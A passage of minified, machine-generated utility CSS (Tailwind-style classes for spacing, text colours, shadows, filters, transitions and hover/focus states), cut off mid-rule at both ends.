var(--spacing)*10)}.py-12{padding-block:calc(var(--spacing)*12)}.py-16{padding-block:calc(var(--spacing)*16)}.py-20{padding-block:calc(var(--spacing)*20)}.pt-0{padding-top:calc(var(--spacing)*0)}.pt-1{padding-top:calc(var(--spacing)*1)}.pt-2{padding-top:calc(var(--spacing)*2)}.pt-3{padding-top:calc(var(--spacing)*3)}.pt-4{padding-top:calc(var(--spacing)*4)}.pt-5{padding-top:calc(var(--spacing)*5)}.pt-6{padding-top:calc(var(--spacing)*6)}.pr-1{padding-right:calc(var(--spacing)*1)}.pr-2{padding-right:calc(var(--spacing)*2)}.pr-4{padding-right:calc(var(--spacing)*4)}.pb-1{padding-bottom:calc(var(--spacing)*1)}.pb-2{padding-bottom:calc(var(--spacing)*2)}.pb-3{padding-bottom:calc(var(--spacing)*3)}.pb-4{padding-bottom:calc(var(--spacing)*4)}.pl-2{padding-left:calc(var(--spacing)*2)}.pl-4{padding-left:calc(var(--spacing)*4)}.pl-8{padding-left:calc(var(--spacing)*8)}.pl-10{padding-left:calc(var(--spacing)*10)}.text-center{text-align:center}.text-left{text-align:left}.text-right{text-align:right}.align-middle{vertical-align:middle}.font-mono{font-family:var(--font-mono)}.text-2xl{font-size:var(--text-2xl);line-height:var(--tw-leading,var(--text-2xl--line-height))}.text-3xl{font-size:var(--text-3xl);line-height:var(--tw-leading,var(--text-3xl--line-height))}.text-4xl{font-size:var(--text-4xl);line-height:var(--tw-leading,var(--text-4xl--line-height))}.text-base{font-size:var(--text-base);line-height:var(--tw-leading,var(--text-base--line-height))}.text-lg{font-size:var(--text-lg);line-height:var(--tw-leading,var(--text-lg--line-height))}.text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.text-xl{font-size:var(--text-xl);line-height:var(--tw-leading,var(--text-xl--line-height))}.text-xs{font-size:var(--text-xs);line-height:var(--tw-leading,var(--text-xs--line-height))}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.leading-6{--tw-leading:calc(var(--spacing)*6);line-height:calc(var(--spacing)*6)}.leading-none{--tw-leading:1;line-height:1}.leading-relaxed{--tw-leading:var(--leading-relaxed);line-height:var(--leading-relaxed)}.leading-tight{--tw-leading:var(--leading-tight);line-height:var(--leading-tight)}.font-bold{--tw-font-weight:var(--font-weight-bold);font-weight:var(--font-weight-bold)}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.font-normal{--tw-font-weight:var(--font-weight-normal);font-weight:var(--font-weight-normal)}.font-semibold{--tw-font-weight:var(--font-weight-semibold);font-weight:var(--font-weight-semibold)}.tracking-tight{--tw-tracking:var(--tracking-tight);letter-spacing:var(--tracking-tight)}.tracking-wider{--tw-tracking:var(--tracking-wider);letter-spacing:var(--tracking-wider)}.text-wrap{text-wrap:wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.text-clip{text-overflow:clip}.text-ellipsis{text-overflow:ellipsis}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.text-\[\#00CED1\]{color:#00ced1}.text-\[\#07C160\]{color:#07c160}.text-\[\#07C160\]\/60{color:#07c16099}.text-\[\#07C160\]\/70{color:#07c160b3}.text-\[\#07C160\]\/80{color:#07c160cc}.text-\[\#26A17B\]{color:#26a17b}.text-\[\#38bdac\]{color:#38bdac}.text-\[\#38bdac\]\/30{color:#38bdac4d}.text-\[\#38bdac\]\/40{color:#38bdac66}.text-\[\#169BD7\]{color:#169bd7}.text-\[\#1677FF\]{color:#1677ff}.text-\[\#FFD700\]{color:gold}.text-amber-200{color:var(--color-amber-200)}.text-amber-200\/80{color:#fee685cc}@supports (color:color-mix(in lab,red,red)){.text-amber-200\/80{color:color-mix(in oklab,var(--color-amber-200)80%,transparent)}}.text-amber-300{color:var(--color-amber-300)}.text-amber-400{color:var(--color-amber-400)}.text-amber-400\/30{color:#fcbb004d}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/30{color:color-mix(in oklab,var(--color-amber-400)30%,transparent)}}.text-amber-400\/80{color:#fcbb00cc}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/80{color:color-mix(in oklab,var(--color-amber-400)80%,transparent)}}.text-amber-400\/90{color:#fcbb00e6}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/90{color:color-mix(in oklab,var(--color-amber-400)90%,transparent)}}.text-black{color:var(--color-black)}.text-blue-300{color:var(--color-blue-300)}.text-blue-300\/60{color:#90c5ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-300\/60{color:color-mix(in oklab,var(--color-blue-300)60%,transparent)}}.text-blue-400{color:var(--color-blue-400)}.text-blue-400\/60{color:#54a2ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-400\/60{color:color-mix(in oklab,var(--color-blue-400)60%,transparent)}}.text-cyan-400{color:var(--color-cyan-400)}.text-emerald-400{color:var(--color-emerald-400)}.text-gray-200{color:var(--color-gray-200)}.text-gray-300{color:var(--color-gray-300)}.text-gray-400{color:var(--color-gray-400)}.text-gray-500{color:var(--color-gray-500)}.text-gray-600{color:var(--color-gray-600)}.text-gray-700{color:var(--color-gray-700)}.text-green-300{color:var(--color-green-300)}.text-green-400{color:var(--color-green-400)}.text-green-400\/90{color:#05df72e6}@supports (color:color-mix(in lab,red,red)){.text-green-400\/90{color:color-mix(in oklab,var(--color-green-400)90%,transparent)}}.text-green-500{color:var(--color-green-500)}.text-orange-300{color:var(--color-orange-300)}.text-orange-300\/60{color:#ffb96d99}@supports (color:color-mix(in lab,red,red)){.text-orange-300\/60{color:color-mix(in oklab,var(--color-orange-300)60%,transparent)}}.text-orange-400{color:var(--color-orange-400)}.text-orange-400\/60{color:#ff8b1a99}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/60{color:color-mix(in oklab,var(--color-orange-400)60%,transparent)}}.text-orange-400\/70{color:#ff8b1ab3}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/70{color:color-mix(in oklab,var(--color-orange-400)70%,transparent)}}.text-orange-400\/80{color:#ff8b1acc}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/80{color:color-mix(in oklab,var(--color-orange-400)80%,transparent)}}.text-purple-400{color:var(--color-purple-400)}.text-red-100{color:var(--color-red-100)}.text-red-300{color:var(--color-red-300)}.text-red-400{color:var(--color-red-400)}.text-rose-400{color:var(--color-rose-400)}.text-sky-300{color:var(--color-sky-300)}.text-white{color:var(--color-white)}.text-white\/40{color:#fff6}@supports (color:color-mix(in lab,red,red)){.text-white\/40{color:color-mix(in oklab,var(--color-white)40%,transparent)}}.text-white\/60{color:#fff9}@supports (color:color-mix(in lab,red,red)){.text-white\/60{color:color-mix(in oklab,var(--color-white)60%,transparent)}}.text-white\/70{color:#ffffffb3}@supports (color:color-mix(in lab,red,red)){.text-white\/70{color:color-mix(in oklab,var(--color-white)70%,transparent)}}.text-white\/80{color:#fffc}@supports (color:color-mix(in lab,red,red)){.text-white\/80{color:color-mix(in oklab,var(--color-white)80%,transparent)}}.text-yellow-400{color:var(--color-yellow-400)}.text-yellow-400\/60{color:#fac80099}@supports (color:color-mix(in lab,red,red)){.text-yellow-400\/60{color:color-mix(in oklab,var(--color-yellow-400)60%,transparent)}}.text-yellow-500\/70{color:#edb200b3}@supports (color:color-mix(in lab,red,red)){.text-yellow-500\/70{color:color-mix(in oklab,var(--color-yellow-500)70%,transparent)}}.capitalize{text-transform:capitalize}.lowercase{text-transform:lowercase}.normal-case{text-transform:none}.uppercase{text-transform:uppercase}.italic{font-style:italic}.italic\!{font-style:italic!important}.not-italic{font-style:normal}.diagonal-fractions{--tw-numeric-fraction:diagonal-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.lining-nums{--tw-numeric-figure:lining-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.oldstyle-nums{--tw-numeric-figure:oldstyle-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.ordinal{--tw-ordinal:ordinal;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.proportional-nums{--tw-numeric-spacing:proportional-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.slashed-zero{--tw-slashed-zero:slashed-zero;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.stacked-fractions{--tw-numeric-fraction:stacked-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.tabular-nums{--tw-numeric-spacing:tabular-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.normal-nums{font-variant-numeric:normal}.line-through{text-decoration-line:line-through}.no-underline{text-decoration-line:none}.overline{text-decoration-line:overline}.underline{text-decoration-line:underline}.underline\!{text-decoration-line:underline!important}.underline-offset-4{text-underline-offset:4px}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.subpixel-antialiased{-webkit-font-smoothing:auto;-moz-osx-font-smoothing:auto}.accent-\[\#38bdac\]{accent-color:#38bdac}.opacity-0{opacity:0}.opacity-50{opacity:.5}.opacity-55{opacity:.55}.opacity-60{opacity:.6}.opacity-70{opacity:.7}.shadow{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px var(--tw-shadow-color,#0000001a),0 4px 6px -4px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-md{--tw-shadow:0 4px 6px -1px var(--tw-shadow-color,#0000001a),0 2px 4px -2px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-sm{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xl{--tw-shadow:0 20px 25px -5px var(--tw-shadow-color,#0000001a),0 8px 10px -6px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xs{--tw-shadow:0 1px 2px 0 var(--tw-shadow-color,#0000000d);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-0{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-1{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(1px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-2{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-ring{--tw-inset-ring-shadow:inset 0 0 0 1px var(--tw-inset-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-\[\#38bdac\]\/20{--tw-shadow-color:#38bdac33}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/20{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.2) var(--tw-shadow-alpha),transparent)}}.shadow-\[\#38bdac\]\/30{--tw-shadow-color:#38bdac4d}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/30{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.3) var(--tw-shadow-alpha),transparent)}}.ring-\[\#38bdac\]{--tw-ring-color:#38bdac}.ring-\[\#38bdac\]\/40{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.4)}.ring-\[\#38bdac\]\/50{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.5)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.blur{--tw-blur:blur(8px);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.blur-3xl{--tw-blur:blur(var(--blur-3xl));filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.drop-shadow{--tw-drop-shadow-size:drop-shadow(0 1px 2px var(--tw-drop-shadow-color,#0000001a))drop-shadow(0 1px 1px var(--tw-drop-shadow-color,#0000000f));--tw-drop-shadow:drop-shadow(0 1px 2px #0000001a)drop-shadow(0 1px 1px #0000000f);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter\!{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)!important}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-blur-xl{--tw-backdrop-blur:blur(var(--blur-xl));-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-grayscale{--tw-backdrop-grayscale:grayscale(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-invert{--tw-backdrop-invert:invert(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-sepia{--tw-backdrop-sepia:sepia(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-filter{-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.transition{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition\!{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events!important;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function))!important;transition-duration:var(--tw-duration,var(--default-transition-duration))!important}.transition-all{transition-property:all;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-opacity{transition-property:opacity;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-transform{transition-property:transform,translate,scale,rotate;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.duration-200{--tw-duration:.2s;transition-duration:.2s}.outline-none{--tw-outline-style:none;outline-style:none}.select-none{-webkit-user-select:none;user-select:none}:where(.divide-x-reverse>:not(:last-child)){--tw-divide-x-reverse:1}.ring-inset{--tw-ring-inset:inset}@media(hover:hover){.group-hover\:text-\[\#38bdac\]:is(:where(.group):hover *){color:#38bdac}.group-hover\:text-gray-400:is(:where(.group):hover *){color:var(--color-gray-400)}.group-hover\:opacity-100:is(:where(.group):hover *){opacity:1}}.peer-disabled\:cursor-not-allowed:is(:where(.peer):disabled~*){cursor:not-allowed}.peer-disabled\:opacity-70:is(:where(.peer):disabled~*){opacity:.7}.placeholder\:text-gray-500::placeholder{color:var(--color-gray-500)}.last\:border-b-0:last-child{border-bottom-style:var(--tw-border-style);border-bottom-width:0}@media(hover:hover){.hover\:border-\[\#38bdac\]\/30:hover{border-color:#38bdac4d}.hover\:border-\[\#38bdac\]\/50:hover{border-color:#38bdac80}.hover\:border-\[\#38bdac\]\/60:hover{border-color:#38bdac99}.hover\:border-\[\#38bdac\]\/70:hover{border-color:#38bdacb3}.hover\:border-blue-500\/60:hover{border-color:#3080ff99}@supports (color:color-mix(in lab,red,red)){.hover\:border-blue-500\/60:hover{border-color:color-mix(in oklab,var(--color-blue-500)60%,transparent)}}.hover\:border-gray-500:hover{border-color:var(--color-gray-500)}.hover\:border-gray-600:hover{border-color:var(--color-gray-600)}.hover\:border-orange-500\/50:hover{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.hover\:border-orange-500\/50:hover{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.hover\:border-yellow-500\/60:hover{border-color:#edb20099}@supports (color:color-mix(in lab,red,red)){.hover\:border-yellow-500\/60:hover{border-color:color-mix(in oklab,var(--color-yellow-500)60%,transparent)}}.hover\:bg-\[\#0a1628\]:hover{background-color:#0a1628}.hover\:bg-\[\#0a1628\]\/80:hover{background-color:#0a1628cc}.hover\:bg-\[\#1a3050\]:hover{background-color:#1a3050}.hover\:bg-\[\#2da396\]:hover{background-color:#2da396}.hover\:bg-\[\#06AD51\]:hover{background-color:#06ad51}.hover\:bg-\[\#07C160\]\/10:hover{background-color:#07c1601a}.hover\:bg-\[\#20B2AA\]:hover{background-color:#20b2aa}.hover\:bg-\[\#38bdac\]\/10:hover{background-color:#38bdac1a}.hover\:bg-\[\#38bdac\]\/20:hover{background-color:#38bdac33}.hover\:bg-\[\#162840\]:hover{background-color:#162840}.hover\:bg-\[\#162840\]\/30:hover{background-color:#1628404d}.hover\:bg-\[\#162840\]\/50:hover{background-color:#16284080}.hover\:bg-amber-500\/10:hover{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/10:hover{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.hover\:bg-amber-500\/20:hover{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/20:hover{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.hover\:bg-amber-600:hover{background-color:var(--color-amber-600)}.hover\:bg-blue-400\/10:hover{background-color:#54a2ff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-400\/10:hover{background-color:color-mix(in oklab,var(--color-blue-400)10%,transparent)}}.hover\:bg-blue-500\/20:hover{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-500\/20:hover{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.hover\:bg-gray-500:hover{background-color:var(--color-gray-500)}.hover\:bg-gray-500\/20:hover{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-500\/20:hover{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.hover\:bg-gray-700:hover{background-color:var(--color-gray-700)}.hover\:bg-gray-700\/50:hover{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-700\/50:hover{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.hover\:bg-gray-800:hover{background-color:var(--color-gray-800)}.hover\:bg-green-500\/20:hover{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.hover\:bg-green-500\/20:hover{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.hover\:bg-green-700:hover{background-color:var(--color-green-700)}.hover\:bg-orange-500\/10:hover{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/10:hover{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.hover\:bg-orange-500\/20:hover{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/20:hover{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.hover\:bg-orange-600:hover{background-color:var(--color-orange-600)}.hover\:bg-purple-500\/10:hover{background-color:#ac4bff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/10:hover{background-color:color-mix(in oklab,var(--color-purple-500)10%,transparent)}}.hover\:bg-purple-500\/20:hover{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/20:hover{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.hover\:bg-purple-500\/30:hover{background-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/30:hover{background-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.hover\:bg-red-500\/10:hover{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/10:hover{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.hover\:bg-red-500\/20:hover{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/20:hover{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.hover\:bg-red-700:hover{background-color:var(--color-red-700)}.hover\:bg-red-800\/50:hover{background-color:#9f071280}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-800\/50:hover{background-color:color-mix(in oklab,var(--color-red-800)50%,transparent)}}.hover\:bg-white\/5:hover{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/5:hover{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.hover\:bg-white\/20:hover{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/20:hover{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.hover\:bg-yellow-500\/20:hover{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/20:hover{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.hover\:bg-yellow-500\/30:hover{background-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/30:hover{background-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.hover\:text-\[\#2da396\]:hover{color:#2da396}.hover\:text-\[\#5fe0cd\]:hover{color:#5fe0cd}.hover\:text-\[\#38bdac\]:hover{color:#38bdac}.hover\:text-amber-200:hover{color:var(--color-amber-200)}.hover\:text-amber-300:hover{color:var(--color-amber-300)}.hover\:text-amber-400:hover{color:var(--color-amber-400)}.hover\:text-blue-300:hover{color:var(--color-blue-300)}.hover\:text-blue-400:hover{color:var(--color-blue-400)}.hover\:text-gray-300:hover{color:var(--color-gray-300)}.hover\:text-orange-400:hover{color:var(--color-orange-400)}.hover\:text-red-300:hover{color:var(--color-red-300)}.hover\:text-red-400:hover{color:var(--color-red-400)}.hover\:text-sky-200:hover{color:var(--color-sky-200)}.hover\:text-white:hover{color:var(--color-white)}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-100:hover{opacity:1}}.focus\:border-\[\#38bdac\]:focus{border-color:#38bdac}.focus\:border-orange-500\/50:focus{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.focus\:border-orange-500\/50:focus{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.focus\:bg-\[\#38bdac\]\/20:focus{background-color:#38bdac33}.focus\:ring-2:focus{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus\:ring-\[\#38bdac\]:focus{--tw-ring-color:#38bdac}.focus\:ring-amber-400:focus{--tw-ring-color:var(--color-amber-400)}.focus\:ring-offset-2:focus{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus\:outline-none:focus{--tw-outline-style:none;outline-style:none}.focus-visible\:ring-0:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-2:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + 